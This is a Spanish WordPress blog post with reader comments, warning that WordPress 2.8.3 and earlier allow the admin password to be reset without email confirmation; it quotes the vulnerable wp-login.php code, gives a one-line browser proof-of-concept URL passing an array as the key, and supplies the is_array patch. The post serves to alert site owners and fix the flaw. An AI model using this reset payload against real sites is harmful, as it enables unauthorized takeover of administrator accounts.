Oferta SiteGround Black Friday

Reinicio de contraseña de admin en WP 2.8.3 y previas (actualizado)

llave wordpress

Si aún te preguntas porque debes actualizar WordPress a la nueva versión, actualmente la 2.8.3, debes saber que las versiones anteriores tienen un fallo de seguridad que puede facilitar que alguien – malintencionadamente – reinicie la contraseña del administrador (sea el nombre de usuario ‘admin’ u otro) aún sin un email válido autorizado.

Es tan sencillo como hacer lo siguiente:

Se envía un cambio de dirección de email o nombre de usuario a través de este formulario:

/wp-login.php?action=lostpassword ;

Wordpress envía una confirmación para reiniciarlo a través del típico email:

»
Alguien ha solicitado reiniciar la contraseña del siguiente sitio y usuario.
http://DOMAIN_NAME.TLD/wordpress
Username: admin
Para reiniciar tu contraseña visita la siguiente dirección, en caso contrario simplemente ignora este email y no pasará nada

http://DOMAIN_NAME.TLD/wordpress/wp-login.php?action=rp&key=o7naCKN3OoeU2KJMMsag
»

Si se hace clic en el enlace WordPress reinicia la contraseña de administrador y envía otro email con los nuevos datos de acceso.

Así es como funciona:

wp-login.php:
...[snip]....
line 186:
function reset_password($key) {
    global $wpdb;
    $key = preg_replace('/[^a-z0-9]/i', '', $key);
    if ( empty( $key ) )
        return new WP_Error('invalid_key', __('Invalid key'));
    $user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key));
    if ( empty( $user ) )
        return new WP_Error('invalid_key', __('Invalid key'));
...[snip]....
line 276:
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 'login';
$errors = new WP_Error();
if ( isset($_GET['key']) )
    $action = 'resetpass';
// validate action so as to default to the login screen
if ( !in_array($action, array('logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'login')) && false === has_filter('login_form_' . $action) )
    $action = 'login';
...[snip]....
line 370:
break;
case 'resetpass' :
case 'rp' :
    $errors = reset_password($_GET['key']);
    if ( ! is_wp_error($errors) ) {
        wp_redirect('wp-login.php?checkemail=newpass');
        exit();
    }
    wp_redirect('wp-login.php?action=lostpassword&error=invalidkey');
    exit();
break;
...[snip ]...

Puedes incluso reiniciar la clave de admin enviando un array a la variable $key.

Puedes incluso hacer una prueba de concepto. Solo necesitas el navegador web para reproducirlo:

http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key[]=

La contraseña se reiniciará sin confirmación alguna.

Da miedo ¿verdad?, pues actualiza coño., pues revisa lo que viene a continuación … 

Actualización: esta vulnerabilidad también afecta a la versión 2.8.3 y se puede solucionar como indica Martín:

Abre el fichero wp-login.php y su sustituye esta línea …

if ( empty( $key )  )

por esta otra …

if ( empty( $key ) || is_array( $key ) )

Si por cualquier motivo no te funciona este «hack» prueba a bajar la versión modificada del archivo wp-login.php del trac, con el problema solucionado, como ha hecho Ferticidio.

Esta vulnerabilidad ya la están aprovechando varios indeseables que no tienen nada mejor que hacer así que no te lo tomes a la ligera.

¿De cuánta utilidad te ha parecido este contenido?

¡Haz clic en los emoticonos para valorarlo!

Promedio de puntuación 0 / 5. Total de votos: 0

Hasta ahora ¡no hay votos!. Sé el primero en valorar este contenido.

Ya que has encontrado útil este contenido...

¡Sígueme en las redes sociales!

¡Siento que este contenido no te haya sido útil!

¡Ayúdame a mejorar este contenido!

Por favor, dime, ¿cómo puedo mejorarlo?

¿Te gustó este artículo? ¡Ni te imaginas lo que te estás perdiendo en YouTube!

AVISO: Esta publicación es de hace 3 años o más. Si es un código o un plugin podría no funcionar en las últimas versiones de WordPress, y si es una noticia podría estar ya obsoleta. Luego no digas que no te hemos avisado. ¡Ah! ¿te funciona? pues entonces no he dicho nada :)

Sobre el autor

29 comentarios en “Reinicio de contraseña de admin en WP 2.8.3 y previas (actualizado)”

  1. Acabo de probarlo con un blog que tengo, el Dashboard dice You are using WordPress 2.8.3. y aún asi pude reinciarle la contraseña sin necesidad del email de validación.

    Será que el wordpress 2.8.3 también es vulnerable??

    1. Buena pregunta, yo tampoco uso el usuario 'admin' por defecto pero no lo he probado. Por si acaso aplica el hack por si las moscas o limita el acceso por IP como explicaba ayer. Para probar siempre hay tiempo.

      1. Rafael P. Campoamor

        A mi me han hecho el hack y mi único usuario administrador no se llama admin, de hecho 'admin' no existe en mi blog…

  2. Perdonad por mi ignorancia, se supone que el problema es solo si el administrador tiene como nick "admin"? Porque si es por eso, no seria mas facil entrar a traves de phpmyadmin y cambiar el nick del administrador en la tabla users?

  3. Yo tampoco tengo el user por default "admin", y aún así salí afectada. Por favor, corrijan. Una pregunta para Fernando, esta vulnerabilidad afecta a versiones 2.7.x?

    En serio, gracias por poner tan fácil la explicación, que hasta yo pude solucionarlo. Mil mil mil gracias.

  4. Muchas gracias! Comprobado que eso arregla el agujero de seguridad. Estoy actualizando mis sitios y a seguir propagando esta info. Grande Martín aportando la solución!

  5. @Fernando Tellado…

    No es que la solucion que veo todos estan usando no sea segura, pero se han aumentado los cambios (se ha vuelto mas estricta en esta parte para no solo mitigar el caso de los arreglos cualquier otro), asi que deberian aplicar los cambios 11800 y 11804… ya he dejado en mi comentario anterior como bajar el archivo con los cambios necesarios (asi como ya he posteado informacion al respecto en mi blog) para así solo reemplazar con el actual y parcheado segun el equipo de wordpress (mas bien segun ryan).

    Saludos

  6. Hola, muy buena la info.

    Me llamó la atención que usaras el termino "indeseables" que usaba yo hace años en mi sitio Seguridad en Internet 2.0, alguna relación?

    Muy bueno el blog

    Saludos!

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Información base sobre privacidad:
- Responsable: Fernando Tellado ([email protected])
- Fin del tratamiento: Moderación de comentarios para evitar spam
- Legitimación: Tu consentimiento
- Comunicación de los datos: No se comunicarán los datos a terceros salvo por obligación legal
- Derechos: Acceso, rectificación, portabilidad, olvido

 

Scroll al inicio